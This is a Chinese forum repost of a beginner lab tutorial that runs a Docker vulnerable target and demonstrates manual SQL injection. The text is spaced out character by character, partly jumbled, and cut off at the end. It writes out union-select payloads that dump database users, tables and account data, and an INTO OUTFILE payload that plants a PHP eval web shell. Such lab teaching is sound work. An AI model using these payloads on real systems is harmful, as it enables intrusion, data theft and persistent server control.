搜索

[19519] 2019-08-20_【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2019-08-20_【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入 【 新 手 篇 】 搭 建 D C N 漏 洞 靶 机 及 简 单 的 S Q L 手 工 注 入 i 春 秋   2 0 1 9 - 0 8 - 2 0 很 多 新 手 小 白 入 门 后 发 现 想 要 学 好 “ 网 安 ” 技 术 ， 除 了 掌 握 基 础 理 论 知 识 ， 更 需 要 经 常 模 拟 不 同 的 漏 洞 环 境 ， 但 是 如 果 使 用 外 网 服 务 器 练 习 ， 会 存 在 一 定 风 险 ， 因 此 能 够 搭 建 一 个 本 地 的 模 拟 环 境 去 测 试 漏 洞 将 是 一 个 不 错 的 方 案 。 D o c k e r 是 近 几 年 来 十 分 流 行 的 开 源 容 器 引 擎 ， 开 发 者 可 以 打 包 自 己 的 应 用 到 容 器 里 面 ， 然 后 迁 移 到 其 他 机 器 的 D o c k e r 应 用 中 ， 实 现 快 速 部 署 。 环 境 搭 环 境 搭 建 建 首 先 ， 在 k a l i 中 搭 建 这 个 D C N 靶 机 系 统 ， 进 入 k a l i 、 打 开 终 端 、 在 终 端 里 输 入 ：
1 2     P S ： 如 果 出 现 “ 找 不 到 软 件 包 ” 错 误 ， 请 检 查 你 的 k a l i 是 不 是 更 新 过 的 。 然 后 启 动 D o c k e r 服 务 ： 1 查 看 D o c k e r 服 务 运 行 状 态 ： 1 P S ： 一 般 此 时 的 状 态 会 很 显 眼 的 显 示 一 个 绿 色 的 【 a c t i v e （ r u n n i n g ） 】 。 接 着 是 要 把 D o c k e r 镜 像 上 传 到 k a l i 里 面 ， 导 入 镜 像 ： 1 2 这 里 导 入 的 时 候 可 能 要 花 一 段 时 间 。 接 着 可 以 看 一 下 D o c k e r   镜 像 ： 1 这 里 我 们 会 发 现 R E P O S I T O R Y   和   T A G 下 面 都 显 示 “ < n o n e > ” ， 我 们 来 修 改 一 下 对 应 值 ： a p t - g e t   i n s t a l l d o c k e r a p t - g e t   i n s t a l l d o c k e r . i o s e r v i c e   d o c k e r   s t a r t s e r v i c e   d o c k e r   s t a t u s d o c k e r   l o a d   <   d c n _ w e b _ t e s t . t a r d o c k e r   l o a d   <   d c n _ u p l o a d . t a r d o c k e r   i m a g e s
1 2 完 成 这 些 之 后 ， 就 可 以 启 动 了 ！ 启 动 ： 1 容 器 运 行 之 后 ， 直 接 访 问 k a l i 的 I P 地 址 ， 我 的 k a l i 地 址 是 1 9 2 . 1 6 8 . 1 0 . 1 0 0 ： 1 之 后 可 以 看 到 我 们 的 靶 机 分 为 七 个 模 块 ， 包 含 了 常 见 的 W e b 漏 洞 。 接 下 来 要 展 示 的 是 ： S Q L i 数 值 型 注 入 。 示 例 演 示 例 演 示 示 目 标 ： 获 得 所 有 的 数 据 库 信 息 和 数 据 表 信 息 ， 甚 至 提 权 、 上 传 一 句 话 木 马 等 。 1 ） 尝 试 输 入 数 字 1 ， s u b m i t 提 交 ， 有 结 果 输 出 ： 2 ） 输 入 数 字 2 ， s u b m i t 提 交 ， 有 结 果 输 出 ： d o c k e r   t a g   [ 你 的 I M A G E   I D ]   d c n _ w e b _ t e s t : V   1 . 0 d o c k e r   t a g   [ 你 的 I M A G E   I D ]   d c n _ u p l o a d : V   1 . 0 d o c k e r   r u n   - i t d   - p   8 8 8 8 : 8 0   d c n _ w e b _ t e s t : V   1 . 0 h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 1 0 0 : 8 8 8 8 /
3 ） 输 入 数 字 3 ， s u b m i t 提 交 ： S Q L 查 询 语 法 正 确 ， 但 查 询 结 果 为 空 ， 无 内 容 显 示 ， 由 此 可 以 判 断 ， 该 数 据 表 至 少 存 在 2 行 数 据 ， 且 i d 为 3 时 ， 查 询 结 果 为 空 。 4 ） 判 断 是 否 存 在 注 入 ： 输 入 ： 3   o r   1 = 1 ， s u b m i t ： 显 示 了 一 行 数 据 ， 说 明 存 在 注 入 漏 洞 。 另 外 ， 通 过 前 面 的 测 试 ， 得 知 数 据 表 至 少 存 在 两 行 数 据 ， 此 处 注 入 成 功 后 ， 查 询 结 果 集 中 ， 应 该 存 在 至 少 2 行 数 据 ， 但 前 端 页 面 只 显 示 了 一 行 结 果 ， 由 此 猜 测 后 端 p h p 程 序 对 查 询 结 果 集 的 输 出 做 了 处 理 ， 即 只 输 出 查 询 结 果 集 中 的 第 一 行 数 据 发 送 到 前 端 页 面 。 5 ） 继 续 使 用 o r d e r   b y 猜 测 有 多 少 列 输 入 ： 3   o r   1 = 1   o r d e r   b y   1   d e s c ， 表 示 对 s e l e c t 查 询 结 果 集 ， 按 照 第 1 列 值 降 序 排 列 ， 不 加 d e s c ， 默 认 按 升 序 排 列 。 输 入 ： 3   o r   1 = 1   o r d e r   b y   4   d e s c 有 错 误 提 示 ， 第 4 列 不 存 在 ， 那 么 继 续 尝 试 按 第 3 列 排 序 ， 降 序 或 升 序 都 可 以 。 上 图 有 结 果 显 示 ， 说 明 该 数 据 表 一 共 有 3 列 ， 后 端 p h p 程 序 对 输 出 结 果 集 做 了 处 理 ， 所 以 前 端 页 面 只 显 示 两 列 数 据 。 另 外 ，
需 要 注 意 的 是 ， 前 端 页 面 上 显 示 的 列 标 题 ， 不 一 定 就 是 数 据 表 真 正 的 列 标 题 。 6 ） 尝 试 通 过 u n i o n 猜 测 显 示 的 列 输 入 ： 1   u n i o n   s e l e c t   1 , 2 , 3 ， s u b m i t 提 交 ： 使 用 u n i o n 关 键 字 的 目 的 ， 是 为 了 输 出 想 要 的 重 要 信 息 ， 但 是 由 于 p h p 后 端 程 序 的 处 理 ， 前 端 页 面 只 显 示 结 果 集 中 的 第 一 行 ， 如 果 所 给 的 i d 数 字 正 确 ， 那 么 u n i o n 之 后 的 s e l e c t 的 结 果 集 不 会 显 示 在 前 端 页 面 ， 那 么 想 要 的 重 要 信 息 也 不 会 显 示 在 前 端 页 面 。 解 决 方 法 有 两 种 ： 一 种 是 u n i o n 结 合 o r d e r   b y ， 如 输 入   1   u n i o n   s e l e c t   3 , 2 , 1   o r d e r   b y   1   d e s c ， 结 果 如 图 ： 第 二 种 是 使 用 错 误 的 i d ， 如 i d 为 3 ， 输 入   3   u n i o n   s e l e c t   1 , 2 , 3 ， 结 果 如 下 图 ： 两 种 方 法 都 可 以 显 示 第 二 个 s e l e c t 的 输 出 结 果 ， 综 合 对 比 ， 第 二 种 方 法 更 加 简 洁 一 些 ， 且 显 示 输 出 的 分 别 是 第 2 列 和 第 3 列 ， 那 么 接 下 来 就 尝 试 获 取 重 要 信 息 显 示 到 第 2 列 或 第 3 列 。 7 ） 通 过 u n i o n   s e l e c t 获 取 当 前 数 据 库 用 户 和 版 本 号 ， 显 示 在 第 2 列 输 入 ： 3   u n i o n   s e l e c t   1 , u s e r (   ) , 3 ， s u b m i t 提 交 显 示 的 用 户 是 r o o t ， 即 当 前 p h p 后 台 程 序 连 接 M y s q l 的 身 份 是 r o o t 输 入 ： 3   u n i o n   s e l e c t   1 , v e r s i o n (   ) , 3 ， s u b m i t 提 交
上 图 显 示 了 M y s q l 数 据 库 管 理 系 统 的 版 本 号 ， 大 于 5 . 0 以 上 ， 可 以 直 接 使 用 i n f o r m a t i o n _ s c h e m a 去 “ 爆 库 ” 。 8 ） 通 过 u n i o n   s e l e c t 获 取 当 前 数 据 中 所 有 的 数 据 表 ， 显 示 在 第 2 列 一 个 单 元 格 中 输 入 ： 3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( t a b l e _ n a m e ) , 3   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e (   ) ， s u b m i t 提 交 。 g r o u p _ c o n c a t (   ) 函 数 ， 将 当 前 列 的 所 有 结 果 连 接 到 一 起 ， 放 到 一 个 单 元 格 中 ； i n f o r m a t i o n _ s c h e m a ， 是 系 统 数 据 库 ， 类 似 于 S Q L S e r v e r 中 的 M a s t e r 数 据 库 ， 如 下 图 所 示 ： i n f o r m a t i o n _ s c h e m a . t a b l e s ， 其 中 t a b l e s 是 i n f o r m a t i o n _ s c h e m a 数 据 库 中 的 一 个 数 据 表 ， 存 储 了 m y s q l 中 所 有 的 数 据 表 名 称 ， 如 下 图 ： t a b l e _ s c h e m a ， 是 t a b l e s 表 中 的 列 名 称 ； d a t a b a s e (   ) 函 数 ， 表 示 当 前 数 据 库 ， 如 下 图 ：
S u b m i t 提 交 的 结 果 如 下 图 ： 由 图 可 知 ， 当 前 数 据 库 包 含 了 两 个 数 据 表 ， 分 别 是 “ a c c o u n t ” 和 “ n e w s ” 。 9 ） 通 过 u n i o n   s e l e c t 获 取 已 知 数 据 表 的 所 有 列 名 称 ， 显 示 在 第 2 列 一 个 单 元 格 中 ， 例 如 输 入 ： 3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e ) , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' a c c o u n t ' 3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e ) , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' n e w s ' 1 0 ） 通 过 u n i o n   s e l e c t 获 取 已 知 数 据 表 的 已 知 列 的 所 有 内 容 ， 显 示 在 第 2 列 和 第 3 列 的 两 个 单 元 格 中 。 例 如 获 取 a c c o u n t 表 格 的 i d 列 和 r e s t 列 的 所 有 内 容 ， 输 入 ： 3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( i d ) , g r o u p _ c o n c a t ( r e s t )   f r o m   a c c o u n t 例 如 获 取 a c c o u n t 表 格 的 r e s t 列 和 o w n 列 的 所 有 内 容 ， 输 入 ： 3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( r e s t ) , g r o u p _ c o n c a t ( o w n )   f r o m   a c c o u n t 例 如 获 取 n e w s 表 格 的 i d 列 和 t i t l e 列 的 所 有 内 容 ， 输 入 ：
3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( i d ) , g r o u p _ c o n c a t ( t i t l e )   f r o m   n e w s 例 如 获 取 n e w s 表 格 的 t i t l e 列 和 c o n t e n t 列 的 所 有 内 容 ， 输 入 ： 3   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( t i t l e ) , g r o u p _ c o n c a t ( c o n t e n t )   f r o m   n e w s 1 1 ） 尝 试 通 过 u n i o n   s e l e c t 写 入 一 句 话 木 马 到 站 点 目 录 输 入 ： 3   u n i o n   s e l e c t   1 , 2 , ' < ? p h p   e v a l ( $ _ P O S T [ d c n ] ) ; ? > '   i n t o   o u t f i l e   ' / v a r / w w w / h t m l / t t t 1 . p h p ' 错 误 提 示 如 下 ： 这 种 错 误 ， 一 般 是 由 于 当 前 M y s q l 服 务 的 L i n u x 用 户 不 具 备 对 该 目 录 的 写 入 权 限 导 致 。 如 何 查 看 当 前 M y s q l 服 务 进 程 所 属 用 户 ？ 假 设 可 以 登 录 假 设 可 以 登 录 L i n u x 控 制 台 ， 进 入 控 制 台 ， 进 入 D o c k e r 容 器 的 系 统 环 境 ： 容 器 的 系 统 环 境 ： 输 入     p s   - a u x   ， 截 图 如 下 ： 从 图 中 可 以 看 出 ， M y s q l 服 务 进 程 为 M y s q l d ， 其 用 户 为 M y s q l 。 查 看 站 点 目 录 的 权 限 ：
站 点 目 录 默 认 一 般 为   / v a r / w w w / h t m l   ， 查 看 h t m l 目 录 的 权 限 如 下 ： c d   / v a r / w w w l s   - l   - d   h t m l   ， 截 图 如 下 ： h t m l 目 录 为 一 个 链 接 ， 真 实 的 站 点 目 录 为   / a p p   ， 继 续 查 看 a p p 目 录 的 权 限 ： 由 上 图 可 以 看 出 ， / a p p 目 录 所 属 的 用 户 和 组 为 w w w - d a t a ， 且 只 有 w w w - d a t a 用 户 具 备 r w x 权 限 ， 可 以 写 入 文 件 ， 而 m y s q l 服 务 进 程 的 用 户 为 M y s q l ， 通 过 s e l e c t 的 方 式 向   / a p p   目 录 写 入 文 件 失 败 ， 没 有 权 限 。 假 设 存 在 一 个 站 点 子 目 录 ， 任 何 用 户 都 具 备 写 入 权 限 ， 那 么 情 况 会 怎 样 呢 ？ 假 设 存 在 一 个 站 点 子 目 录 ， 任 何 用 户 都 具 备 写 入 权 限 ， 那 么 情 况 会 怎 样 呢 ？ 上 图 ， 在 站 点 根 目 录 下 创 建 了 一 个 子 目 录 为   t e s t - s q l ， 且 修 改 权 限 为 “ 7 7 7 ” ， 既 任 意 用 户 都 具 备 对 该 目 录 的 写 入 权 限 。 接 下 来 继 续 测 试 通 过 s e l e c t 方 式 写 入 一 句 话 木 马 文 件 ： 输 入 ： 3   u n i o n   s e l e c t   1 , 2 , ' < ? p h p   e v a l ( $ _ P O S T [ d c n ] ) ; ? > '   i n t o   o u t f i l e   ' / v a r / w w w / h t m l / t e s t - s q l / t t t 1 . p h p ' s u b m i t 提 交 ， 截 图 如 下 ： 注 意 ， 一 句 话 木 马 的 内 容 为 ： < ? p h p   e v a l ( $ _ P O S T [ d c n ] ) ; ? > 在 L i n u x 控 制 台 中 可 以 看 到 成 功 写 入 的 一 句 话 木 马 p h p 文 件 ：
1 2 ） 通 过 “ 中 国 菜 刀 ” 连 接 写 入 的 一 句 话 木 马 文 件 注 意 事 项 ： 如 果 没 有 提 供 输 入 框 和 s u b m i t ， 那 么 如 何 实 现 注 入 ？ 如 果 是 g e t 方 式 提 交 请 求 ， 那 么 可 以 直 接 在 U R L 中 实 现 注 入 ， 如 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理